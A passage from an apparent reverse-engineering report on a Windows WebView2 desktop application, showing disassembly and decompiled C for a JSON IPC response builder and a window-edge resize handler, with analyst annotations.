14000261d	0f 29 44 24 50	MOVAPS xmmword ptr [RSP + local_d8[0]],XMM0
140002622	0f 57 f6	XORPS XMM6,XMM6
140002625	0f 11 30	MOVUPS xmmword ptr [RAX],XMM6
140002628	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
140002630	48 8d 15 17 92 09 00	LEA RDX,[s_,"body":"_14009b84e]	; ",\"body\":\""
140002637	48 8d 4c 24 50	LEA RCX,[RSP + 0x50]
14000263c	e8 0f c4 00 00	CALL FUN_14000ea50	; FUN_14000ea50: strlen
140002641	48 8b 48 10	MOV RCX,qword ptr [RAX + 0x10]
140002645	48 89 8c 24 80 00 00 00	MOV qword ptr [RSP + local_a8],RCX
14000264d	0f 10 00	MOVUPS XMM0,xmmword ptr [RAX]
140002650	0f 29 44 24 70	MOVAPS xmmword ptr [RSP + local_b8[0]],XMM0
140002655	0f 11 30	MOVUPS xmmword ptr [RAX],XMM6
140002658	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
140002660	49 8d 56 10	LEA RDX,[R14 + 0x10]
140002664	48 8d 4c 24 38	LEA RCX,[RSP + 0x38]
140002669	e8 62 06 00 00	CALL FUN_140002cd0	; FUN_140002cd0: memmove, __stdio_common_vsprintf, strlen
14000266e	0f b6 44 24 38	MOVZX EAX,byte ptr [RSP + local_f0]
140002673	41 89 c0	MOV R8D,EAX
140002676	41 d1 e8	SHR R8D,0x1
140002679	a8 01	TEST AL,0x1
14000267b	48 8d 54 24 39	LEA RDX,[RSP + 0x39]
140002680	48 0f 45 54 24 48	CMOVNZ RDX,qword ptr [RSP + local_e0]
140002686	4c 0f 45 44 24 40	CMOVNZ R8,qword ptr [RSP + local_e8]
14000268c	48 8d 4c 24 70	LEA RCX,[RSP + 0x70]
140002691	e8 ea c3 00 00	CALL FUN_14000ea80	; FUN_14000ea80: memmove, memcpy
140002696	48 8b 48 10	MOV RCX,qword ptr [RAX + 0x10]
14000269a	48 89 8c 24 a0 00 00 00	MOV qword ptr [RSP + local_88],RCX
1400026a2	0f 10 00	MOVUPS XMM0,xmmword ptr [RAX]
1400026a5	0f 29 84 24 90 00 00 00	MOVAPS xmmword ptr [RSP + local_98[0]],XMM0
1400026ad	0f 57 f6	XORPS XMM6,XMM6
1400026b0	0f 11 30	MOVUPS xmmword ptr [RAX],XMM6
1400026b3	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
1400026bb	48 8d 15 96 91 09 00	LEA RDX,[DAT_14009b858]
1400026c2	48 8d 8c 24 90 00 00 00	LEA RCX,[RSP + 0x90]
1400026ca	e8 81 c3 00 00	CALL FUN_14000ea50	; FUN_14000ea50: strlen
1400026cf	48 8b 48 10	MOV RCX,qword ptr [RAX + 0x10]
1400026d3	48 89 4c 24 30	MOV qword ptr [RSP + local_f8],RCX
1400026d8	0f 10 00	MOVUPS XMM0,xmmword ptr [RAX]
1400026db	0f 29 44 24 20	MOVAPS xmmword ptr [RSP + local_108[0]],XMM0
1400026e0	0f 11 30	MOVUPS xmmword ptr [RAX],XMM6
1400026e3	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
1400026eb	66 c7 84 24 d8 00 00 00 …	MOV word ptr [RSP + local_50],0x0
1400026f5	4c 8d 44 24 20	LEA R8,[RSP + 0x20]
1400026fa	4c 8d 8c 24 d8 00 00 00	LEA R9,[RSP + 0xd8]
140002702	48 89 f9	MOV RCX,RDI
140002705	b2 01	MOV DL,offset u_HAN#_14009b7fc+5
140002707	e8 f4 01 00 00	CALL json_response_builder	; → json_response_builder (B10, E19)
14000270c	f6 44 24 20 01	TEST byte ptr [RSP + local_108[0]],0x1
140002711	75 2b	JNZ LAB_14000273e
140002713	f6 84 24 90 00 00 00 01	TEST byte ptr [RSP + local_98[0]],0x1
14000271b	75 35	JNZ LAB_140002752
LAB_14000271d:
14000271d	f6 44 24 38 01	TEST byte ptr [RSP + local_f0],0x1
140002722	75 42	JNZ LAB_140002766
LAB_140002724:
140002724	f6 44 24 70 01	TEST byte ptr [RSP + local_b8[0]],0x1
140002729	75 4c	JNZ LAB_140002777
LAB_14000272b:
14000272b	f6 44 24 50 01	TEST byte ptr [RSP + local_d8[0]],0x1
140002730	75 59	JNZ LAB_14000278b
LAB_140002732:
140002732	f6 84 24 a8 00 00 00 01	TEST byte ptr [RSP + local_80],0x1
14000273a	75 63	JNZ LAB_14000279f
14000273c	eb 6e	JMP LAB_1400027ac
LAB_14000273e:
14000273e	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_f8]
140002743	e8 98 d1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140002748	f6 84 24 90 00 00 00 01	TEST byte ptr [RSP + local_98[0]],0x1
140002750	74 cb	JZ LAB_14000271d
LAB_140002752:
140002752	48 8b 8c 24 a0 00 00 00	MOV RCX,qword ptr [RSP + local_88]
14000275a	e8 81 d1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
14000275f	f6 44 24 38 01	TEST byte ptr [RSP + local_f0],0x1
140002764	74 be	JZ LAB_140002724
LAB_140002766:
140002766	48 8b 4c 24 48	MOV RCX,qword ptr [RSP + local_e0]
14000276b	e8 70 d1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140002770	f6 44 24 70 01	TEST byte ptr [RSP + local_b8[0]],0x1
140002775	74 b4	JZ LAB_14000272b
LAB_140002777:
140002777	48 8b 8c 24 80 00 00 00	MOV RCX,qword ptr [RSP + local_a8]
14000277f	e8 5c d1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140002784	f6 44 24 50 01	TEST byte ptr [RSP + local_d8[0]],0x1
140002789	74 a7	JZ LAB_140002732
LAB_14000278b:
14000278b	48 8b 4c 24 60	MOV RCX,qword ptr [RSP + local_c8]
140002790	e8 4b d1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140002795	f6 84 24 a8 00 00 00 01	TEST byte ptr [RSP + local_80],0x1
14000279d	74 0d	JZ LAB_1400027ac
LAB_14000279f:
14000279f	48 8b 8c 24 b8 00 00 00	MOV RCX,qword ptr [RSP + local_70]
LAB_1400027a7:
1400027a7	e8 34 d1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400027ac:
1400027ac	4c 89 f1	MOV RCX,R14
1400027af	f6 06 01	TEST byte ptr [RSI],0x1
1400027b2	74 0c	JZ LAB_1400027c0
1400027b4	48 8b 49 38	MOV RCX,qword ptr [RCX + 0x38]
1400027b8	e8 23 d1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
1400027bd	4c 89 f1	MOV RCX,R14
LAB_1400027c0:
1400027c0	f6 41 10 01	TEST byte ptr [RCX + 0x10],0x1
1400027c4	74 0c	JZ LAB_1400027d2
1400027c6	48 8b 49 20	MOV RCX,qword ptr [RCX + 0x20]
1400027ca	e8 11 d1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
1400027cf	4c 89 f1	MOV RCX,R14
LAB_1400027d2:
1400027d2	e8 09 d1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400027d7:
1400027d7	31 c0	XOR EAX,EAX
1400027d9	0f 28 b4 24 f0 00 00 00	MOVAPS XMM6,xmmword ptr [RSP + local_38[0]]
1400027e1	48 81 c4 08 01 00 00	ADD RSP,0x108
1400027e8	5b	POP RBX
1400027e9	5f	POP RDI
1400027ea	5e	POP RSI
1400027eb	41 5e	POP R14
1400027ed	c3	RET

json_response_builder

0x140002900720 bytes

undefined json_response_builder(ulonglong param_1, char param_2, byte * param_3, byte * param_4)

Builds JSON objects with id/ok/result fields as IPC responses to WebView2 frontend

Cited as: E19
Behaviours: B10
Called from: WndProc, file_reader, file_writer, url_launcher, ui_thread_handler
Calls: FUN_140002cd0, FUN_140002e30, FUN_14000ea50, FUN_14000ea80, FUN_14000eec0, FUN_140012ef0, FUN_140013d60, FUN_14001f8e0

Decompiled C · 132 lines

void json_response_builder(ulonglong param_1,char param_2,byte *param_3,byte *param_4)

{
  longlong *plVar1;
  ulonglong *puVar2;
  char *pcVar3;
  void *pvVar4;
  char *pcVar5;
  ulonglong uVar6;
  byte *pbVar7;
  undefined8 local_a8;
  ulonglong uStack_a0;
  void *local_98;
  ulonglong local_88;
  ulonglong uStack_80;
  void *local_78;
  byte local_70 [16];
  void *local_60;
  ulonglong local_58;
  ulonglong uStack_50;
  void *local_48;
  
  if (DAT_1400c9460 == (longlong *)0x0) {
    return;
  }
  pbVar7 = param_4;
  FUN_140013d60((longlong *)local_70,param_1,(char *)param_3,param_4);
  pcVar5 = "{\"id\":";
  puVar2 = (ulonglong *)FUN_14000eec0((ulonglong *)local_70,0,(byte *)"{\"id\":");
  local_78 = (void *)puVar2[2];
  local_88 = *puVar2;
  uStack_80 = puVar2[1];
  *puVar2 = 0;
  puVar2[1] = 0;
  puVar2[2] = 0;
  puVar2 = (ulonglong *)FUN_14000ea50(&local_88,",\"ok\":",pcVar5,pbVar7);
  local_98 = (void *)puVar2[2];
  local_a8 = *puVar2;
  uStack_a0 = puVar2[1];
  *puVar2 = 0;
  puVar2[1] = 0;
  puVar2[2] = 0;
  pcVar3 = "false";
  if (param_2 != '\0') {
    pcVar3 = "true";
  }
  puVar2 = (ulonglong *)FUN_14000ea50(&local_a8,pcVar3,pcVar5,pbVar7);
  local_48 = (void *)puVar2[2];
  local_58 = *puVar2;
  uStack_50 = puVar2[1];
  *puVar2 = 0;
  puVar2[1] = 0;
  puVar2[2] = 0;
  if ((local_a8 & 1) == 0) {
    if ((local_88 & 1) != 0) goto LAB_140002a56;
LAB_1400029e5:
    if ((local_70[0] & 1) != 0) goto LAB_140002a67;
LAB_1400029ec:
    if (param_2 == '\0') goto LAB_140002a79;
LAB_1400029f4:
    FUN_140012ef0(&local_a8,",\"result\":",param_3,pbVar7);
    uVar6 = local_a8 >> 1 & 0x7f;
    pvVar4 = (void *)((longlong)&local_a8 + 1);
    if ((local_a8 & 1) != 0) {
      uVar6 = uStack_a0;
      pvVar4 = local_98;
    }
    FUN_14000ea80(&local_58,pvVar4,uVar6,pbVar7);
    local_60 = local_98;
    if ((local_a8 & 1) == 0) goto LAB_140002b50;
  }
  else {
    FUN_14001f8e0(local_98);
    if ((local_88 & 1) == 0) goto LAB_1400029e5;
LAB_140002a56:
    FUN_14001f8e0(local_78);
    if ((local_70[0] & 1) == 0) goto LAB_1400029ec;
LAB_140002a67:
    FUN_14001f8e0(local_60);
    if (param_2 != '\0') goto LAB_1400029f4;
LAB_140002a79:
    FUN_140002cd0((ulonglong *)local_70,param_4,pcVar5,pbVar7);
    pcVar3 = ",\"error\":\"";
    puVar2 = (ulonglong *)FUN_14000eec0((ulonglong *)local_70,0,(byte *)",\"error\":\"");
    local_78 = (void *)puVar2[2];
    local_88 = *puVar2;
    uStack_80 = puVar2[1];
    *puVar2 = 0;
    puVar2[1] = 0;
    puVar2[2] = 0;
    puVar2 = (ulonglong *)FUN_14000ea50(&local_88,"\"",pcVar3,pbVar7);
    local_98 = (void *)puVar2[2];
    local_a8 = *puVar2;
    uStack_a0 = puVar2[1];
    *puVar2 = 0;
    puVar2[1] = 0;
    puVar2[2] = 0;
    uVar6 = local_a8 >> 1 & 0x7f;
    pvVar4 = (void *)((longlong)&local_a8 + 1);
    if ((local_a8 & 1) != 0) {
      uVar6 = uStack_a0;
      pvVar4 = local_98;
    }
    FUN_14000ea80(&local_58,pvVar4,uVar6,pbVar7);
    if ((local_a8 & 1) != 0) {
      FUN_14001f8e0(local_98);
    }
    if ((local_88 & 1) != 0) {
      FUN_14001f8e0(local_78);
    }
    if ((local_70[0] & 1) == 0) goto LAB_140002b50;
  }
  FUN_14001f8e0(local_60);
LAB_140002b50:
  FUN_14000ea50(&local_58,"}",uVar6,pbVar7);
  plVar1 = DAT_1400c9460;
  FUN_140002e30((byte *)&local_a8,(byte *)&local_58);
  pvVar4 = local_98;
  if ((local_a8 & 1) == 0) {
    pvVar4 = (void *)((longlong)&local_a8 + 2);
  }
  (**(code **)(*plVar1 + 0x100))(plVar1,pvVar4);
  if ((local_a8 & 1) != 0) {
    FUN_14001f8e0(local_98);
  }
  if ((local_58 & 1) != 0) {
    FUN_14001f8e0(local_48);
  }
  return;
}

Assembly · 164 instructions, 25 annotated

Address	Bytes	Instruction	Comment
140002900	41 56	PUSH R14
140002902	56	PUSH RSI
140002903	57	PUSH RDI
140002904	53	PUSH RBX
140002905	48 81 ec a8 00 00 00	SUB RSP,0xa8
14000290c	0f 29 b4 24 90 00 00 00	MOVAPS xmmword ptr [RSP + local_38[0]],XMM6
140002914	48 83 3d 44 6b 0c 00 00	CMP qword ptr [DAT_1400c9460],0x0
14000291c	0f 84 99 02 00 00	JZ LAB_140002bbb
140002922	4c 89 cf	MOV RDI,R9
140002925	4c 89 c6	MOV RSI,R8
140002928	89 d3	MOV EBX,EDX
14000292a	48 89 ca	MOV RDX,RCX
14000292d	4c 8d 74 24 58	LEA R14,[RSP + 0x58]
140002932	4c 89 f1	MOV RCX,R14
140002935	e8 26 14 01 00	CALL FUN_140013d60	; FUN_140013d60: memcpy
14000293a	4c 8d 05 1b 8f 09 00	LEA R8,[s_{"id":_14009b85c]	; "{\"id\":"
140002941	4c 89 f1	MOV RCX,R14
140002944	31 d2	XOR EDX,EDX
140002946	e8 75 c5 00 00	CALL FUN_14000eec0	; FUN_14000eec0: strlen
14000294b	48 8b 48 10	MOV RCX,qword ptr [RAX + 0x10]
14000294f	48 89 4c 24 50	MOV qword ptr [RSP + local_78],RCX
140002954	0f 10 00	MOVUPS XMM0,xmmword ptr [RAX]
140002957	0f 29 44 24 40	MOVAPS xmmword ptr [RSP + local_88[0]],XMM0
14000295c	0f 57 f6	XORPS XMM6,XMM6
14000295f	0f 11 30	MOVUPS xmmword ptr [RAX],XMM6
140002962	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
14000296a	48 8d 15 f2 8e 09 00	LEA RDX,[s_,"ok":_14009b863]	; ",\"ok\":"
140002971	48 8d 4c 24 40	LEA RCX,[RSP + 0x40]
140002976	e8 d5 c0 00 00	CALL FUN_14000ea50	; FUN_14000ea50: strlen
14000297b	48 8b 48 10	MOV RCX,qword ptr [RAX + 0x10]
14000297f	48 89 4c 24 30	MOV qword ptr [RSP + local_98],RCX
140002984	0f 10 00	MOVUPS XMM0,xmmword ptr [RAX]
140002987	0f 29 44 24 20	MOVAPS xmmword ptr [RSP + local_a8[0]],XMM0
14000298c	0f 11 30	MOVUPS xmmword ptr [RAX],XMM6
14000298f	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
140002997	48 8d 05 cc 8e 09 00	LEA RAX,[DAT_14009b86a]
14000299e	48 8d 15 ca 8e 09 00	LEA RDX,[s_false_14009b86f]	; "false"
1400029a5	84 db	TEST BL,BL
1400029a7	48 0f 45 d0	CMOVNZ RDX,RAX
1400029ab	48 8d 4c 24 20	LEA RCX,[RSP + 0x20]
1400029b0	e8 9b c0 00 00	CALL FUN_14000ea50	; FUN_14000ea50: strlen
1400029b5	48 8b 48 10	MOV RCX,qword ptr [RAX + 0x10]
1400029b9	48 89 8c 24 80 00 00 00	MOV qword ptr [RSP + local_48],RCX
1400029c1	0f 10 00	MOVUPS XMM0,xmmword ptr [RAX]
1400029c4	0f 29 44 24 70	MOVAPS xmmword ptr [RSP + local_58[0]],XMM0
1400029c9	0f 57 c0	XORPS XMM0,XMM0
1400029cc	0f 11 00	MOVUPS xmmword ptr [RAX],XMM0
1400029cf	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
1400029d7	f6 44 24 20 01	TEST byte ptr [RSP + local_a8[0]],0x1
1400029dc	75 67	JNZ LAB_140002a45
1400029de	f6 44 24 40 01	TEST byte ptr [RSP + local_88[0]],0x1
1400029e3	75 71	JNZ LAB_140002a56
LAB_1400029e5:
1400029e5	f6 44 24 58 01	TEST byte ptr [RSP + local_70],0x1
1400029ea	75 7b	JNZ LAB_140002a67
LAB_1400029ec:
1400029ec	84 db	TEST BL,BL
1400029ee	0f 84 85 00 00 00	JZ LAB_140002a79
LAB_1400029f4:
1400029f4	48 8d 15 7a 8e 09 00	LEA RDX,[s_,"result":_14009b875]	; ",\"result\":"
1400029fb	48 8d 4c 24 20	LEA RCX,[RSP + 0x20]
140002a00	49 89 f0	MOV R8,RSI
140002a03	e8 e8 04 01 00	CALL FUN_140012ef0	; FUN_140012ef0: strlen, memcpy, memmove
140002a08	0f b6 44 24 20	MOVZX EAX,byte ptr [RSP + local_a8[0]]
140002a0d	41 89 c0	MOV R8D,EAX
140002a10	41 d1 e8	SHR R8D,0x1
140002a13	a8 01	TEST AL,0x1
140002a15	48 8d 54 24 21	LEA RDX,[RSP + 0x21]
140002a1a	48 0f 45 54 24 30	CMOVNZ RDX,qword ptr [RSP + local_98]
140002a20	4c 0f 45 44 24 28	CMOVNZ R8,qword ptr [RSP + local_a8[8]]
140002a26	48 8d 4c 24 70	LEA RCX,[RSP + 0x70]
140002a2b	e8 50 c0 00 00	CALL FUN_14000ea80	; FUN_14000ea80: memmove, memcpy
140002a30	f6 44 24 20 01	TEST byte ptr [RSP + local_a8[0]],0x1
140002a35	0f 84 15 01 00 00	JZ LAB_140002b50
140002a3b	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_98]
140002a40	e9 06 01 00 00	JMP LAB_140002b4b
LAB_140002a45:
140002a45	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_98]
140002a4a	e8 91 ce 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140002a4f	f6 44 24 40 01	TEST byte ptr [RSP + local_88[0]],0x1
140002a54	74 8f	JZ LAB_1400029e5
LAB_140002a56:
140002a56	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_78]
140002a5b	e8 80 ce 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140002a60	f6 44 24 58 01	TEST byte ptr [RSP + local_70],0x1
140002a65	74 85	JZ LAB_1400029ec
LAB_140002a67:
140002a67	48 8b 4c 24 68	MOV RCX,qword ptr [RSP + local_60]
140002a6c	e8 6f ce 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140002a71	84 db	TEST BL,BL
140002a73	0f 85 7b ff ff ff	JNZ LAB_1400029f4
LAB_140002a79:
140002a79	48 8d 4c 24 58	LEA RCX,[RSP + 0x58]
140002a7e	48 89 fa	MOV RDX,RDI
140002a81	e8 4a 02 00 00	CALL FUN_140002cd0	; FUN_140002cd0: memmove, __stdio_common_vsprintf, strlen
140002a86	4c 8d 05 f3 8d 09 00	LEA R8,[s_,"error":"_14009b880]	; ",\"error\":\""
140002a8d	48 8d 4c 24 58	LEA RCX,[RSP + 0x58]
140002a92	31 d2	XOR EDX,EDX
140002a94	e8 27 c4 00 00	CALL FUN_14000eec0	; FUN_14000eec0: strlen
140002a99	48 8b 48 10	MOV RCX,qword ptr [RAX + 0x10]
140002a9d	48 89 4c 24 50	MOV qword ptr [RSP + local_78],RCX
140002aa2	0f 10 00	MOVUPS XMM0,xmmword ptr [RAX]
140002aa5	0f 29 44 24 40	MOVAPS xmmword ptr [RSP + local_88[0]],XMM0
140002aaa	0f 57 f6	XORPS XMM6,XMM6
140002aad	0f 11 30	MOVUPS xmmword ptr [RAX],XMM6
140002ab0	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
140002ab8	48 8d 15 cc 8d 09 00	LEA RDX,[DAT_14009b88b]
140002abf	48 8d 4c 24 40	LEA RCX,[RSP + 0x40]
140002ac4	e8 87 bf 00 00	CALL FUN_14000ea50	; FUN_14000ea50: strlen
140002ac9	48 8b 48 10	MOV RCX,qword ptr [RAX + 0x10]
140002acd	48 89 4c 24 30	MOV qword ptr [RSP + local_98],RCX
140002ad2	0f 10 00	MOVUPS XMM0,xmmword ptr [RAX]
140002ad5	0f 29 44 24 20	MOVAPS xmmword ptr [RSP + local_a8[0]],XMM0
140002ada	0f 11 30	MOVUPS xmmword ptr [RAX],XMM6
140002add	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
140002ae5	0f b6 44 24 20	MOVZX EAX,byte ptr [RSP + local_a8[0]]
140002aea	41 89 c0	MOV R8D,EAX
140002aed	41 d1 e8	SHR R8D,0x1
140002af0	a8 01	TEST AL,0x1
140002af2	48 8d 54 24 21	LEA RDX,[RSP + 0x21]
140002af7	48 0f 45 54 24 30	CMOVNZ RDX,qword ptr [RSP + local_98]
140002afd	4c 0f 45 44 24 28	CMOVNZ R8,qword ptr [RSP + local_a8[8]]
140002b03	48 8d 4c 24 70	LEA RCX,[RSP + 0x70]
140002b08	e8 73 bf 00 00	CALL FUN_14000ea80	; FUN_14000ea80: memmove, memcpy
140002b0d	f6 44 24 20 01	TEST byte ptr [RSP + local_a8[0]],0x1
140002b12	75 10	JNZ LAB_140002b24
140002b14	f6 44 24 40 01	TEST byte ptr [RSP + local_88[0]],0x1
140002b19	75 1a	JNZ LAB_140002b35
LAB_140002b1b:
140002b1b	f6 44 24 58 01	TEST byte ptr [RSP + local_70],0x1
140002b20	75 24	JNZ LAB_140002b46
140002b22	eb 2c	JMP LAB_140002b50
LAB_140002b24:
140002b24	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_98]
140002b29	e8 b2 cd 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140002b2e	f6 44 24 40 01	TEST byte ptr [RSP + local_88[0]],0x1
140002b33	74 e6	JZ LAB_140002b1b
LAB_140002b35:
140002b35	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_78]
140002b3a	e8 a1 cd 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140002b3f	f6 44 24 58 01	TEST byte ptr [RSP + local_70],0x1
140002b44	74 0a	JZ LAB_140002b50
LAB_140002b46:
140002b46	48 8b 4c 24 68	MOV RCX,qword ptr [RSP + local_60]
LAB_140002b4b:
140002b4b	e8 90 cd 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140002b50:
140002b50	48 8d 15 36 8d 09 00	LEA RDX,[DAT_14009b88d]
140002b57	48 8d 4c 24 70	LEA RCX,[RSP + 0x70]
140002b5c	e8 ef be 00 00	CALL FUN_14000ea50	; FUN_14000ea50: strlen
140002b61	48 8b 35 f8 68 0c 00	MOV RSI,qword ptr [DAT_1400c9460]
140002b68	48 8d 4c 24 20	LEA RCX,[RSP + 0x20]
140002b6d	48 8d 54 24 70	LEA RDX,[RSP + 0x70]
140002b72	e8 b9 02 00 00	CALL FUN_140002e30	; FUN_140002e30: MultiByteToWideChar
140002b77	f6 44 24 20 01	TEST byte ptr [RSP + local_a8[0]],0x1
140002b7c	74 07	JZ LAB_140002b85
140002b7e	48 8b 54 24 30	MOV RDX,qword ptr [RSP + local_98]
140002b83	eb 05	JMP LAB_140002b8a
LAB_140002b85:
140002b85	48 8d 54 24 22	LEA RDX,[RSP + 0x22]
LAB_140002b8a:
140002b8a	48 8b 06	MOV RAX,qword ptr [RSI]
140002b8d	48 89 f1	MOV RCX,RSI
140002b90	ff 90 00 01 00 00	CALL qword ptr [RAX + 0x100]
140002b96	f6 44 24 20 01	TEST byte ptr [RSP + local_a8[0]],0x1
140002b9b	74 0a	JZ LAB_140002ba7
140002b9d	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_98]
140002ba2	e8 39 cd 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140002ba7:
140002ba7	f6 44 24 70 01	TEST byte ptr [RSP + local_58[0]],0x1
140002bac	74 0d	JZ LAB_140002bbb
140002bae	48 8b 8c 24 80 00 00 00	MOV RCX,qword ptr [RSP + local_48]
140002bb6	e8 25 cd 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140002bbb:
140002bbb	0f 28 b4 24 90 00 00 00	MOVAPS XMM6,xmmword ptr [RSP + local_38[0]]
140002bc3	48 81 c4 a8 00 00 00	ADD RSP,0xa8
140002bca	5b	POP RBX
140002bcb	5f	POP RDI
140002bcc	5e	POP RSI
140002bcd	41 5e	POP R14
140002bcf	c3	RET

edge_handler

0x1400030e0700 bytes

undefined edge_handler(longlong * param_1, longlong * param_2, undefined8 param_3, undefined8 param_4)

Handles WebView2 edge runtime environment callbacks

Called from: ui_thread_handler
Calls: GetCursorPos ReleaseCapture SendMessageW FUN_140007d10, FUN_14001f8e0

Decompiled C · 159 lines

void edge_handler(longlong *param_1,longlong *param_2,undefined8 param_3,undefined8 param_4)

{
  byte bVar1;
  longlong *plVar2;
  int *piVar3;
  longlong *plVar4;
  longlong lVar5;
  int iVar6;
  longlong *plVar7;
  undefined1 local_38 [2];
  undefined2 uStack_36;
  int iStack_34;
  longlong *local_30;
  longlong *local_28;
  ushort local_20 [8];
  void *local_10;
  
  if (param_1 == (longlong *)0x0) {
    return;
  }
  local_38[0] = 8;
  local_38[1] = 0x65;
  uStack_36 = 0x6764;
  iStack_34 = CONCAT31(iStack_34._1_3_,0x65);
  plVar7 = param_1;
  plVar2 = param_2;
  if ((int)*param_1 == 6) {
    plVar2 = (longlong *)param_1[8];
    plVar7 = param_1;
    if (plVar2 != (longlong *)param_1[9]) {
      plVar4 = plVar2 + 3;
      do {
        bVar1 = *(byte *)(plVar4 + -3);
        if ((bVar1 & 1) == 0) {
          if (bVar1 >> 1 == 4) goto LAB_14000316c;
        }
        else if (plVar4[-2] == 4) {
LAB_14000316c:
          if ((bVar1 & 1) == 0) {
            piVar3 = (int *)((longlong)plVar4 + -0x17);
          }
          else {
            piVar3 = (int *)plVar4[-1];
          }
          if (*piVar3 == 0x65676465) {
            local_20[0] = 0;
            FUN_140007d10((longlong *)local_38,(int *)plVar4,(byte *)local_20,param_4);
            if ((local_20[0] & 1) != 0) {
              FUN_14001f8e0(local_10);
            }
            goto LAB_140003180;
          }
        }
        plVar7 = plVar4 + 0xb;
        plVar2 = plVar4 + 0xe;
        plVar4 = plVar4 + 0xe;
      } while (plVar7 != (longlong *)param_1[9]);
    }
  }
  local_30 = plVar2;
  local_28 = plVar7;
  local_38[0] = 0;
  local_38[1] = 0;
LAB_140003180:
  plVar4 = (longlong *)(ulonglong)(local_38[0] >> 1);
  plVar7 = local_30;
  plVar2 = local_28;
  if ((local_38[0] & 1) == 0) {
    plVar7 = plVar4;
    plVar2 = (longlong *)(local_38 + 1);
  }
  if ((plVar7 == (longlong *)0x4) && ((int)*plVar2 == 0x7466656c)) {
    lVar5 = 0;
  }
  else {
    plVar7 = local_30;
    if ((local_38[0] & 1) == 0) {
      plVar7 = plVar4;
    }
    if ((plVar7 == (longlong *)0x5) &&
       (*(char *)((longlong)plVar2 + 4) == 't' && (int)*plVar2 == 0x68676972)) {
      lVar5 = 0x10;
    }
    else {
      plVar7 = local_30;
      if ((local_38[0] & 1) == 0) {
        plVar7 = plVar4;
      }
      if ((plVar7 == (longlong *)0x3) &&
         (*(char *)((longlong)plVar2 + 2) == 'p' && (short)*plVar2 == 0x6f74)) {
        lVar5 = 0x20;
      }
      else {
        plVar7 = local_30;
        if ((local_38[0] & 1) == 0) {
          plVar7 = plVar4;
        }
        if ((plVar7 == (longlong *)0x6) &&
           (*(short *)((longlong)plVar2 + 4) == 0x6d6f && (int)*plVar2 == 0x74746f62)) {
          lVar5 = 0x30;
        }
        else {
          plVar7 = local_30;
          if ((local_38[0] & 1) == 0) {
            plVar7 = plVar4;
          }
          if ((plVar7 == (longlong *)0x7) &&
             (*(int *)((longlong)plVar2 + 3) == 0x7466656c && (int)*plVar2 == 0x6c706f74)) {
            lVar5 = 0x40;
          }
          else {
            plVar7 = local_30;
            if ((local_38[0] & 1) == 0) {
              plVar7 = plVar4;
            }
            if ((plVar7 == (longlong *)0x8) && (*plVar2 == 0x7468676972706f74)) {
              lVar5 = 0x50;
            }
            else {
              plVar7 = local_30;
              if ((local_38[0] & 1) == 0) {
                plVar7 = plVar4;
              }
              if ((plVar7 == (longlong *)0xa) &&
                 ((short)plVar2[1] == 0x7466 && *plVar2 == 0x656c6d6f74746f62)) {
                lVar5 = 0x60;
              }
              else {
                if ((local_38[0] & 1) == 0) {
                  local_30 = plVar4;
                }
                iVar6 = 1;
                if ((local_30 != (longlong *)0xb) ||
                   (*(longlong *)((longlong)plVar2 + 3) != 0x74686769726d6f74 ||
                    *plVar2 != 0x69726d6f74746f62)) goto LAB_140003367;
                lVar5 = 0x70;
              }
            }
          }
        }
      }
    }
  }
  iVar6 = *(int *)((longlong)&DAT_14009ba18 + lVar5);
LAB_140003367:
  if ((local_38[0] & 1) != 0) {
    FUN_14001f8e0(local_28);
  }
  if (iVar6 != 1) {
    GetCursorPos((LPPOINT)local_38);
    ReleaseCapture();
    SendMessageW(DAT_1400c9450,0xa1,(longlong)iVar6,
                 (ulonglong)(iStack_34 << 0x10 | (uint)CONCAT11(local_38[1],local_38[0])));
  }
  return;
}

Assembly · 176 instructions, 3 annotated

Address	Bytes	Instruction	Comment
1400030e0	56	PUSH RSI
1400030e1	48 83 ec 50	SUB RSP,0x50
1400030e5	48 85 c9	TEST RCX,RCX
1400030e8	0f 84 be 02 00 00	JZ LAB_1400033ac
1400030ee	c6 44 24 20 08	MOV byte ptr [RSP + local_38],0x8
1400030f3	c7 44 24 21 65 64 67 65	MOV dword ptr [RSP + local_38+0x1],0x65676465
1400030fb	83 39 06	CMP dword ptr [RCX],0x6
1400030fe	75 77	JNZ LAB_140003177
140003100	48 8b 51 40	MOV RDX,qword ptr [RCX + 0x40]
140003104	48 8b 41 48	MOV RAX,qword ptr [RCX + 0x48]
140003108	48 39 c2	CMP RDX,RAX
14000310b	74 6a	JZ LAB_140003177
